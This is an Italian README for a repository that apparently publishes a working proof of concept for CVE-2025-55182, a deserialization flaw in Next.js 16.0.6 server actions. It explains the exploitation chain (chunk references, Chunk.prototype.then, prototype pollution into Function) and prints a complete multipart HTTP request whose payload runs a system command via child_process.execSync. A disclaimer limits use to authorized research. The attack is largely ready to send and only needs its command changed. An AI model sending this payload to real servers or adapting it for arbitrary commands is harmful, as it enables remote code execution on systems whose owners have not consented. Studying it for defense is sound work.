
Più focalizzato sugli exploit; ottimo per i repository di ricerca sulla sicurezza.
Questo repository contiene una proof-of-concept (POC) funzionante per CVE-2025-55182, una vulnerabilità critica di deserializzazione che interessa Next.js 16.0.6.
L'exploit abusa della deserializzazione dei chunk $@ e di Chunk.prototype.then per ottenere il pieno controllo del processo di risoluzione dei chunk e raggiungere l'esecuzione arbitraria di codice (RCE) sul server.
Next.js utilizza oggetti Chunk interni e un meccanismo di streaming/deserializzazione per le server action.
Abusando di $@ per deserializzare un riferimento Chunk e iniettando Chunk.prototype.then nell'oggetto root, un attaccante può:
then(...) con controllato dall'attaccantethisstatus del chunk su resolved_modelinitializeModelChunk con un chunk fasullo completamente controllato dall'attaccantechunk._response per raggiungere comportamenti interni pericolosiL'obiettivo finale è attivare la deserializzazione di Blob, che esegue una chiamata come:
response._formData.get(response._prefix)
Impostando response._formData.get = Function e inserendo codice arbitrario in response._prefix, l'attaccante può eseguire comandi di sistema arbitrari.
La richiesta HTTP in poc/CVE-2025-55182.http dimostra l'exploit contro Next.js 16.0.6 in esecuzione in locale, avviando xcalc tramite child_process.execSync:
POST / HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36
Next-Action: x
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Length: 459
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"
{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\":\"$B1337\"}","_response":{"_prefix":"process.mainModule.require('child_process').execSync('xcalc');","_formData":{"get":"$1:constructor:constructor"}}}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"
"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--
/
├── README.md
├── DISCLAIMER.md
├── poc/
│ └── CVE-2025-55182.http
└── analysis/
└── exploitation-notes.md
Questo progetto è fornito esclusivamente per scopi educativi e di ricerca. NON utilizzare questo exploit su alcun sistema di cui non si è proprietari o per il quale non si dispone di un'autorizzazione scritta esplicita per il test.
L'autore non si assume alcuna responsabilità per usi impropri o danni causati.